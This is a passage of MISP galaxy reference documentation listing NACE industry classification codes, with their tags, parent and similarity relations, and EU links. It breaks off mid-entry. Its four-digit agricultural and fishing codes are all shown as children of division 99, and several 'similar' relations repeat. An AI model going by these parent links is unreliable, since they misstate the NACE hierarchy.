http://data.europa.eu/ux2/nace2/701

702

The tag is: *misp-galaxy:NACE="702"*

View relationships graph

702 has relationships with:

- child-of: misp-galaxy:NACE="70" with estimative-language:likelihood-probability="likely"

Table 12125. Table References

Links
http://data.europa.eu/ux2/nace2/702

711

The tag is: *misp-galaxy:NACE="711"*

View relationships graph

711 has relationships with:

- child-of: misp-galaxy:NACE="71" with estimative-language:likelihood-probability="likely"

Table 12126. Table References

Links
http://data.europa.eu/ux2/nace2/711

712

The tag is: *misp-galaxy:NACE="712"*

View relationships graph

712 has relationships with:

- child-of: misp-galaxy:NACE="71" with estimative-language:likelihood-probability="likely"

Table 12127. Table References

Links
http://data.europa.eu/ux2/nace2/712

721

The tag is: *misp-galaxy:NACE="721"*

View relationships graph

721 has relationships with:

- child-of: misp-galaxy:NACE="72" with estimative-language:likelihood-probability="likely"

Table 12128. Table References

Links
http://data.europa.eu/ux2/nace2/721

722

The tag is: *misp-galaxy:NACE="722"*

View relationships graph

722 has relationships with:

- child-of: misp-galaxy:NACE="72" with estimative-language:likelihood-probability="likely"

Table 12129. Table References

Links
http://data.europa.eu/ux2/nace2/722

731

The tag is: *misp-galaxy:NACE="731"*

View relationships graph

731 has relationships with:

- child-of: misp-galaxy:NACE="73" with estimative-language:likelihood-probability="likely"

Table 12130. Table References

Links
http://data.europa.eu/ux2/nace2/731

732

The tag is: *misp-galaxy:NACE="732"*

View relationships graph

732 has relationships with:

- child-of: misp-galaxy:NACE="73" with estimative-language:likelihood-probability="likely"

Table 12131. Table References

Links
http://data.europa.eu/ux2/nace2/732

733

The tag is: *misp-galaxy:NACE="733"*

View relationships graph

733 has relationships with:

- similar: misp-galaxy:NACE="702" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="73" with estimative-language:likelihood-probability="likely"

Table 12132. Table References

Links
http://data.europa.eu/ux2/nace2/733

741

The tag is: *misp-galaxy:NACE="741"*

View relationships graph

741 has relationships with:

- child-of: misp-galaxy:NACE="74" with estimative-language:likelihood-probability="likely"

Table 12133. Table References

Links
http://data.europa.eu/ux2/nace2/741

742

The tag is: *misp-galaxy:NACE="742"*

View relationships graph

742 has relationships with:

- child-of: misp-galaxy:NACE="74" with estimative-language:likelihood-probability="likely"

Table 12134. Table References

Links
http://data.europa.eu/ux2/nace2/742

743

The tag is: *misp-galaxy:NACE="743"*

View relationships graph

743 has relationships with:

- child-of: misp-galaxy:NACE="74" with estimative-language:likelihood-probability="likely"

Table 12135. Table References

Links
http://data.europa.eu/ux2/nace2/743

749

The tag is: *misp-galaxy:NACE="749"*

View relationships graph

749 has relationships with:

- child-of: misp-galaxy:NACE="74" with estimative-language:likelihood-probability="likely"

Table 12136. Table References

Links
http://data.europa.eu/ux2/nace2/749

750

The tag is: *misp-galaxy:NACE="750"*

View relationships graph

750 has relationships with:

- child-of: misp-galaxy:NACE="75" with estimative-language:likelihood-probability="likely"

Table 12137. Table References

Links
http://data.europa.eu/ux2/nace2/750

771

The tag is: *misp-galaxy:NACE="771"*

View relationships graph

771 has relationships with:

- similar: misp-galaxy:NACE="773" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="77" with estimative-language:likelihood-probability="likely"

Table 12138. Table References

Links
http://data.europa.eu/ux2/nace2/771

772

The tag is: *misp-galaxy:NACE="772"*

View relationships graph

772 has relationships with:

- child-of: misp-galaxy:NACE="77" with estimative-language:likelihood-probability="likely"

Table 12139. Table References

Links
http://data.europa.eu/ux2/nace2/772

773

The tag is: *misp-galaxy:NACE="773"*

View relationships graph

773 has relationships with:

- child-of: misp-galaxy:NACE="77" with estimative-language:likelihood-probability="likely"

Table 12140. Table References

Links
http://data.europa.eu/ux2/nace2/773

774

The tag is: *misp-galaxy:NACE="774"*

View relationships graph

774 has relationships with:

- child-of: misp-galaxy:NACE="77" with estimative-language:likelihood-probability="likely"

Table 12141. Table References

Links
http://data.europa.eu/ux2/nace2/774

775

The tag is: *misp-galaxy:NACE="775"*

View relationships graph

775 has relationships with:

- similar: misp-galaxy:NACE="791" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="799" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="77" with estimative-language:likelihood-probability="likely"

Table 12142. Table References

Links
http://data.europa.eu/ux2/nace2/775

781

The tag is: *misp-galaxy:NACE="781"*

View relationships graph

781 has relationships with:

- child-of: misp-galaxy:NACE="78" with estimative-language:likelihood-probability="likely"

Table 12143. Table References

Links
http://data.europa.eu/ux2/nace2/781

782

The tag is: *misp-galaxy:NACE="782"*

View relationships graph

782 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="78" with estimative-language:likelihood-probability="likely"

Table 12144. Table References

Links
http://data.europa.eu/ux2/nace2/782

791

The tag is: *misp-galaxy:NACE="791"*

View relationships graph

791 has relationships with:

- child-of: misp-galaxy:NACE="79" with estimative-language:likelihood-probability="likely"

Table 12145. Table References

Links
http://data.europa.eu/ux2/nace2/791

799

The tag is: *misp-galaxy:NACE="799"*

View relationships graph

799 has relationships with:

- child-of: misp-galaxy:NACE="79" with estimative-language:likelihood-probability="likely"

Table 12146. Table References

Links
http://data.europa.eu/ux2/nace2/799

800

The tag is: *misp-galaxy:NACE="800"*

View relationships graph

800 has relationships with:

- similar: misp-galaxy:NACE="749" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="749" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="749" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="749" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="80" with estimative-language:likelihood-probability="likely"

Table 12147. Table References

Links
http://data.europa.eu/ux2/nace2/800

811

The tag is: *misp-galaxy:NACE="811"*

View relationships graph

811 has relationships with:

- child-of: misp-galaxy:NACE="81" with estimative-language:likelihood-probability="likely"

Table 12148. Table References

Links
http://data.europa.eu/ux2/nace2/811

812

The tag is: *misp-galaxy:NACE="812"*

View relationships graph

812 has relationships with:

- similar: misp-galaxy:NACE="433" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="439" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="81" with estimative-language:likelihood-probability="likely"

Table 12149. Table References

Links
http://data.europa.eu/ux2/nace2/812

813

The tag is: *misp-galaxy:NACE="813"*

View relationships graph

813 has relationships with:

- child-of: misp-galaxy:NACE="81" with estimative-language:likelihood-probability="likely"

Table 12150. Table References

Links
http://data.europa.eu/ux2/nace2/813

821

The tag is: *misp-galaxy:NACE="821"*

View relationships graph

821 has relationships with:

- child-of: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"

Table 12151. Table References

Links
http://data.europa.eu/ux2/nace2/821

822

The tag is: *misp-galaxy:NACE="822"*

View relationships graph

822 has relationships with:

- child-of: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"

Table 12152. Table References

Links
http://data.europa.eu/ux2/nace2/822

823

The tag is: *misp-galaxy:NACE="823"*

View relationships graph

823 has relationships with:

- child-of: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"

Table 12153. Table References

Links
http://data.europa.eu/ux2/nace2/823

824

The tag is: *misp-galaxy:NACE="824"*

View relationships graph

824 has relationships with:

- similar: misp-galaxy:NACE="799" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"

Table 12154. Table References

Links
http://data.europa.eu/ux2/nace2/824

829

The tag is: *misp-galaxy:NACE="829"*

View relationships graph

829 has relationships with:

- child-of: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"

Table 12155. Table References

Links
http://data.europa.eu/ux2/nace2/829

841

The tag is: *misp-galaxy:NACE="841"*

View relationships graph

841 has relationships with:

- child-of: misp-galaxy:NACE="84" with estimative-language:likelihood-probability="likely"

Table 12156. Table References

Links
http://data.europa.eu/ux2/nace2/841

842

The tag is: *misp-galaxy:NACE="842"*

View relationships graph

842 has relationships with:

- similar: misp-galaxy:NACE="932" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="84" with estimative-language:likelihood-probability="likely"

Table 12157. Table References

Links
http://data.europa.eu/ux2/nace2/842

843

The tag is: *misp-galaxy:NACE="843"*

View relationships graph

843 has relationships with:

- child-of: misp-galaxy:NACE="84" with estimative-language:likelihood-probability="likely"

Table 12158. Table References

Links
http://data.europa.eu/ux2/nace2/843

851

The tag is: *misp-galaxy:NACE="851"*

View relationships graph

851 has relationships with:

- child-of: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"

Table 12159. Table References

Links
http://data.europa.eu/ux2/nace2/851

852

The tag is: *misp-galaxy:NACE="852"*

View relationships graph

852 has relationships with:

- child-of: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"

Table 12160. Table References

Links
http://data.europa.eu/ux2/nace2/852

853

The tag is: *misp-galaxy:NACE="853"*

View relationships graph

853 has relationships with:

- similar: misp-galaxy:NACE="854" with estimative-language:likelihood-probability="likely"

- child-of: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"

Table 12161. Table References

Links
http://data.europa.eu/ux2/nace2/853

854

The tag is: *misp-galaxy:NACE="854"*

View relationships graph

854 has relationships with:

- child-of: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"

Table 12162. Table References

Links
http://data.europa.eu/ux2/nace2/854

855

The tag is: *misp-galaxy:NACE="855"*

View relationships graph

855 has relationships with:

- child-of: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"

Table 12163. Table References

Links
http://data.europa.eu/ux2/nace2/855

856

The tag is: *misp-galaxy:NACE="856"*

View relationships graph

856 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="85" with estimative-language:likelihood-probability="likely"

Table 12164. Table References

Links
http://data.europa.eu/ux2/nace2/856

861

The tag is: *misp-galaxy:NACE="861"*

View relationships graph

861 has relationships with:

- child-of: misp-galaxy:NACE="86" with estimative-language:likelihood-probability="likely"

Table 12165. Table References

Links
http://data.europa.eu/ux2/nace2/861

862

The tag is: *misp-galaxy:NACE="862"*

View relationships graph

862 has relationships with:

- child-of: misp-galaxy:NACE="86" with estimative-language:likelihood-probability="likely"

Table 12166. Table References

Links
http://data.europa.eu/ux2/nace2/862

869

The tag is: *misp-galaxy:NACE="869"*

View relationships graph

869 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="86" with estimative-language:likelihood-probability="likely"

Table 12167. Table References

Links
http://data.europa.eu/ux2/nace2/869

871

The tag is: *misp-galaxy:NACE="871"*

View relationships graph

871 has relationships with:

- child-of: misp-galaxy:NACE="87" with estimative-language:likelihood-probability="likely"

Table 12168. Table References

Links
http://data.europa.eu/ux2/nace2/871

872

The tag is: *misp-galaxy:NACE="872"*

View relationships graph

872 has relationships with:

- child-of: misp-galaxy:NACE="87" with estimative-language:likelihood-probability="likely"

Table 12169. Table References

Links
http://data.europa.eu/ux2/nace2/872

873

The tag is: *misp-galaxy:NACE="873"*

View relationships graph

873 has relationships with:

- child-of: misp-galaxy:NACE="87" with estimative-language:likelihood-probability="likely"

Table 12170. Table References

Links
http://data.europa.eu/ux2/nace2/873

879

The tag is: *misp-galaxy:NACE="879"*

View relationships graph

879 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="87" with estimative-language:likelihood-probability="likely"

Table 12171. Table References

Links
http://data.europa.eu/ux2/nace2/879

881

The tag is: *misp-galaxy:NACE="881"*

View relationships graph

881 has relationships with:

- child-of: misp-galaxy:NACE="88" with estimative-language:likelihood-probability="likely"

Table 12172. Table References

Links
http://data.europa.eu/ux2/nace2/881

889

The tag is: *misp-galaxy:NACE="889"*

View relationships graph

889 has relationships with:

- similar: misp-galaxy:NACE="851" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="88" with estimative-language:likelihood-probability="likely"

Table 12173. Table References

Links
http://data.europa.eu/ux2/nace2/889

901

The tag is: *misp-galaxy:NACE="901"*

View relationships graph

901 has relationships with:

- similar: misp-galaxy:NACE="851" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="90" with estimative-language:likelihood-probability="likely"

Table 12174. Table References

Links
http://data.europa.eu/ux2/nace2/901

902

The tag is: *misp-galaxy:NACE="902"*

View relationships graph

902 has relationships with:

- similar: misp-galaxy:NACE="851" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="90" with estimative-language:likelihood-probability="likely"

Table 12175. Table References

Links
http://data.europa.eu/ux2/nace2/902

903

The tag is: *misp-galaxy:NACE="903"*

View relationships graph

903 has relationships with:

- similar: misp-galaxy:NACE="851" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="90" with estimative-language:likelihood-probability="likely"

Table 12176. Table References

Links
http://data.europa.eu/ux2/nace2/903

911

The tag is: *misp-galaxy:NACE="911"*

View relationships graph

911 has relationships with:

- similar: misp-galaxy:NACE="851" with estimative-language:likelihood-probability="likely"

- child-of: misp-galaxy:NACE="91" with estimative-language:likelihood-probability="likely"

Table 12177. Table References

Links
http://data.europa.eu/ux2/nace2/911

912

The tag is: *misp-galaxy:NACE="912"*

View relationships graph

912 has relationships with:

- similar: misp-galaxy:NACE="851" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="91" with estimative-language:likelihood-probability="likely"

Table 12178. Table References

Links
http://data.europa.eu/ux2/nace2/912

913

The tag is: *misp-galaxy:NACE="913"*

View relationships graph

913 has relationships with:

- similar: misp-galaxy:NACE="331" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="331" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="331" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="91" with estimative-language:likelihood-probability="likely"

Table 12179. Table References

Links
http://data.europa.eu/ux2/nace2/913

914

The tag is: *misp-galaxy:NACE="914"*

View relationships graph

914 has relationships with:

- similar: misp-galaxy:NACE="331" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="91" with estimative-language:likelihood-probability="likely"

Table 12180. Table References

Links
http://data.europa.eu/ux2/nace2/914

920

The tag is: *misp-galaxy:NACE="920"*

View relationships graph

920 has relationships with:

- child-of: misp-galaxy:NACE="92" with estimative-language:likelihood-probability="likely"

Table 12181. Table References

Links
http://data.europa.eu/ux2/nace2/920

931

The tag is: *misp-galaxy:NACE="931"*

View relationships graph

931 has relationships with:

- similar: misp-galaxy:NACE="855" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="932" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="93" with estimative-language:likelihood-probability="likely"

Table 12182. Table References

Links
http://data.europa.eu/ux2/nace2/931

932

The tag is: *misp-galaxy:NACE="932"*

View relationships graph

932 has relationships with:

- similar: misp-galaxy:NACE="823" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="931" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="93" with estimative-language:likelihood-probability="likely"

Table 12183. Table References

Links
http://data.europa.eu/ux2/nace2/932

941

The tag is: *misp-galaxy:NACE="941"*

View relationships graph

941 has relationships with:

- child-of: misp-galaxy:NACE="94" with estimative-language:likelihood-probability="likely"

Table 12184. Table References

Links
http://data.europa.eu/ux2/nace2/941

942

The tag is: *misp-galaxy:NACE="942"*

View relationships graph

942 has relationships with:

- child-of: misp-galaxy:NACE="94" with estimative-language:likelihood-probability="likely"

Table 12185. Table References

Links
http://data.europa.eu/ux2/nace2/942

949

The tag is: *misp-galaxy:NACE="949"*

View relationships graph

949 has relationships with:

- child-of: misp-galaxy:NACE="94" with estimative-language:likelihood-probability="likely"

Table 12186. Table References

Links
http://data.europa.eu/ux2/nace2/949

951

The tag is: *misp-galaxy:NACE="951"*

View relationships graph

951 has relationships with:

- child-of: misp-galaxy:NACE="95" with estimative-language:likelihood-probability="likely"

Table 12187. Table References

Links
http://data.europa.eu/ux2/nace2/951

952

The tag is: *misp-galaxy:NACE="952"*

View relationships graph

952 has relationships with:

- child-of: misp-galaxy:NACE="95" with estimative-language:likelihood-probability="likely"

Table 12188. Table References

Links
http://data.europa.eu/ux2/nace2/952

953

The tag is: *misp-galaxy:NACE="953"*

View relationships graph

953 has relationships with:

- similar: misp-galaxy:NACE="931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="931" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="95" with estimative-language:likelihood-probability="likely"

Table 12189. Table References

Links

http://data.europa.eu/ux2/nace2/953

954

The tag is: *misp-galaxy:NACE="954"*

View relationships graph

954 has relationships with:

- similar: misp-galaxy:NACE="931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="931" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="95" with estimative-language:likelihood-probability="likely"

Table 12190. Table References

Links
http://data.europa.eu/ux2/nace2/954

961

The tag is: *misp-galaxy:NACE="961"*

View relationships graph

961 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="96" with estimative-language:likelihood-probability="likely"

Table 12191. Table References

Links
http://data.europa.eu/ux2/nace2/961

962

The tag is: *misp-galaxy:NACE="962"*

View relationships graph

962 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="96" with estimative-language:likelihood-probability="likely"

Table 12192. Table References

Links
http://data.europa.eu/ux2/nace2/962

963

The tag is: *misp-galaxy:NACE="963"*

View relationships graph

963 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="96" with estimative-language:likelihood-probability="likely"

Table 12193. Table References

Links
http://data.europa.eu/ux2/nace2/963

964

The tag is: *misp-galaxy:NACE="964"*

View relationships graph

964 has relationships with:

- similar: misp-galaxy:NACE="829" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="96" with estimative-language:likelihood-probability="likely"

Table 12194. Table References

Links
http://data.europa.eu/ux2/nace2/964

969

The tag is: *misp-galaxy:NACE="969"*

View relationships graph

969 has relationships with:

- similar: misp-galaxy:NACE="812" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="812" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="96" with estimative-language:likelihood-probability="likely"

Table 12195. Table References

Links
http://data.europa.eu/ux2/nace2/969

970

The tag is: *misp-galaxy:NACE="970"*

View relationships graph

970 has relationships with:

- child-of: misp-galaxy:NACE="97" with estimative-language:likelihood-probability="likely"

Table 12196. Table References

Links
http://data.europa.eu/ux2/nace2/970

981

The tag is: *misp-galaxy:NACE="981"*

View relationships graph

981 has relationships with:

- child-of: misp-galaxy:NACE="98" with estimative-language:likelihood-probability="likely"

Table 12197. Table References

Links
http://data.europa.eu/ux2/nace2/981

982

The tag is: *misp-galaxy:NACE="982"*

View relationships graph

982 has relationships with:

- child-of: misp-galaxy:NACE="98" with estimative-language:likelihood-probability="likely"

Table 12198. Table References

Links
http://data.europa.eu/ux2/nace2/982

990

The tag is: *misp-galaxy:NACE="990"*

View relationships graph

990 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12199. Table References

Links
http://data.europa.eu/ux2/nace2/990

0111

The tag is: *misp-galaxy:NACE="0111"*

View relationships graph

0111 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12200. Table References

Links
http://data.europa.eu/ux2/nace2/0111

0112

The tag is: *misp-galaxy:NACE="0112"*

View relationships graph

0112 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12201. Table References

Links
http://data.europa.eu/ux2/nace2/0112

0113

The tag is: *misp-galaxy:NACE="0113"*

View relationships graph

0113 has relationships with:

- similar: misp-galaxy:NACE="0119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="0128" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12202. Table References

Links
http://data.europa.eu/ux2/nace2/0113

0114

The tag is: *misp-galaxy:NACE="0114"*

View relationships graph

0114 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12203. Table References

Links
http://data.europa.eu/ux2/nace2/0114

0115

The tag is: *misp-galaxy:NACE="0115"*

View relationships graph

0115 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12204. Table References

Links
http://data.europa.eu/ux2/nace2/0115

0116

The tag is: *misp-galaxy:NACE="0116"*

View relationships graph

0116 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12205. Table References

Links
http://data.europa.eu/ux2/nace2/0116

0119

The tag is: *misp-galaxy:NACE="0119"*

View relationships graph

0119 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12206. Table References

Links
http://data.europa.eu/ux2/nace2/0119

0121

The tag is: *misp-galaxy:NACE="0121"*

View relationships graph

0121 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12207. Table References

Links
http://data.europa.eu/ux2/nace2/0121

0122

The tag is: *misp-galaxy:NACE="0122"*

View relationships graph

0122 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12208. Table References

Links

http://data.europa.eu/ux2/nace2/0122

0123

The tag is: *misp-galaxy:NACE="0123"*

View relationships graph

0123 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12209. Table References

Links
http://data.europa.eu/ux2/nace2/0123

0124

The tag is: *misp-galaxy:NACE="0124"*

View relationships graph

0124 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12210. Table References

Links
http://data.europa.eu/ux2/nace2/0124

0125

The tag is: *misp-galaxy:NACE="0125"*

View relationships graph

0125 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12211. Table References

Links
http://data.europa.eu/ux2/nace2/0125

0126

The tag is: *misp-galaxy:NACE="0126"*

View relationships graph

0126 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12212. Table References

Links
http://data.europa.eu/ux2/nace2/0126

0127

The tag is: *misp-galaxy:NACE="0127"*

View relationships graph

0127 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12213. Table References

Links
http://data.europa.eu/ux2/nace2/0127

0128

The tag is: *misp-galaxy:NACE="0128"*

View relationships graph

0128 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12214. Table References

Links
http://data.europa.eu/ux2/nace2/0128

0129

The tag is: *misp-galaxy:NACE="0129"*

View relationships graph

0129 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12215. Table References

Links
http://data.europa.eu/ux2/nace2/0129

0130

The tag is: *misp-galaxy:NACE="0130"*

View relationships graph

0130 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12216. Table References

Links
http://data.europa.eu/ux2/nace2/0130

0141

The tag is: *misp-galaxy:NACE="0141"*

View relationships graph

0141 has relationships with:

- similar: misp-galaxy:NACE="0142" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12217. Table References

Links
http://data.europa.eu/ux2/nace2/0141

0142

The tag is: *misp-galaxy:NACE="0142"*

View relationships graph

0142 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12218. Table References

Links
http://data.europa.eu/ux2/nace2/0142

0143

The tag is: *misp-galaxy:NACE="0143"*

View relationships graph

0143 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12219. Table References

Links
http://data.europa.eu/ux2/nace2/0143

0144

The tag is: *misp-galaxy:NACE="0144"*

View relationships graph

0144 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12220. Table References

Links
http://data.europa.eu/ux2/nace2/0144

0145

The tag is: *misp-galaxy:NACE="0145"*

View relationships graph

0145 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12221. Table References

Links
http://data.europa.eu/ux2/nace2/0145

0146

The tag is: *misp-galaxy:NACE="0146"*

View relationships graph

0146 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12222. Table References

Links
http://data.europa.eu/ux2/nace2/0146

0147

The tag is: *misp-galaxy:NACE="0147"*

View relationships graph

0147 has relationships with:

- similar: misp-galaxy:NACE="0142" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="0162" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12223. Table References

Links
http://data.europa.eu/ux2/nace2/0147

0148

The tag is: *misp-galaxy:NACE="0148"*

View relationships graph

0148 has relationships with:

- similar: misp-galaxy:NACE="0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="0322" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12224. Table References

Links
http://data.europa.eu/ux2/nace2/0148

0150

The tag is: *misp-galaxy:NACE="0150"*

View relationships graph

0150 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12225. Table References

Links
http://data.europa.eu/ux2/nace2/0150

0161

The tag is: *misp-galaxy:NACE="0161"*

View relationships graph

0161 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12226. Table References

Links
http://data.europa.eu/ux2/nace2/0161

0162

The tag is: *misp-galaxy:NACE="0162"*

View relationships graph

0162 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12227. Table References

Links
http://data.europa.eu/ux2/nace2/0162

0163

The tag is: *misp-galaxy:NACE="0163"*

View relationships graph

0163 has relationships with:

- similar: misp-galaxy:NACE="0322" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12228. Table References

Links
http://data.europa.eu/ux2/nace2/0163

0170

The tag is: *misp-galaxy:NACE="0170"*

View relationships graph

0170 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12229. Table References

Links
http://data.europa.eu/ux2/nace2/0170

0210

The tag is: *misp-galaxy:NACE="0210"*

View relationships graph

0210 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12230. Table References

Links
http://data.europa.eu/ux2/nace2/0210

0220

The tag is: *misp-galaxy:NACE="0220"*

View relationships graph

0220 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12231. Table References

Links
http://data.europa.eu/ux2/nace2/0220

0230

The tag is: *misp-galaxy:NACE="0230"*

View relationships graph

0230 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12232. Table References

Links
http://data.europa.eu/ux2/nace2/0230

0240

The tag is: *misp-galaxy:NACE="0240"*

View relationships graph

0240 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12233. Table References

Links
http://data.europa.eu/ux2/nace2/0240

0311

The tag is: *misp-galaxy:NACE="0311"*

View relationships graph

0311 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12234. Table References

Links
http://data.europa.eu/ux2/nace2/0311

0312

The tag is: *misp-galaxy:NACE="0312"*

View relationships graph

0312 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12235. Table References

Links
http://data.europa.eu/ux2/nace2/0312

0321

The tag is: *misp-galaxy:NACE="0321"*

View relationships graph

0321 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12236. Table References

Links
http://data.europa.eu/ux2/nace2/0321

0322

The tag is: *misp-galaxy:NACE="0322"*

View relationships graph

0322 has relationships with:

- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12237. Table References

Links
http://data.europa.eu/ux2/nace2/0322

0330

The tag is: *misp-galaxy:NACE="0330"*

View relationships graph

0330 has relationships with:

- similar: misp-galaxy:NACE="0311" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="0312" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="0321" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="0322" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="3311" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="99" with estimative-language:likelihood-probability="likely"

Table 12238. Table References

Links
http://data.europa.eu/ux2/nace2/0330

0510

The tag is: *misp-galaxy:NACE="0510"*

View relationships graph

0510 has relationships with:

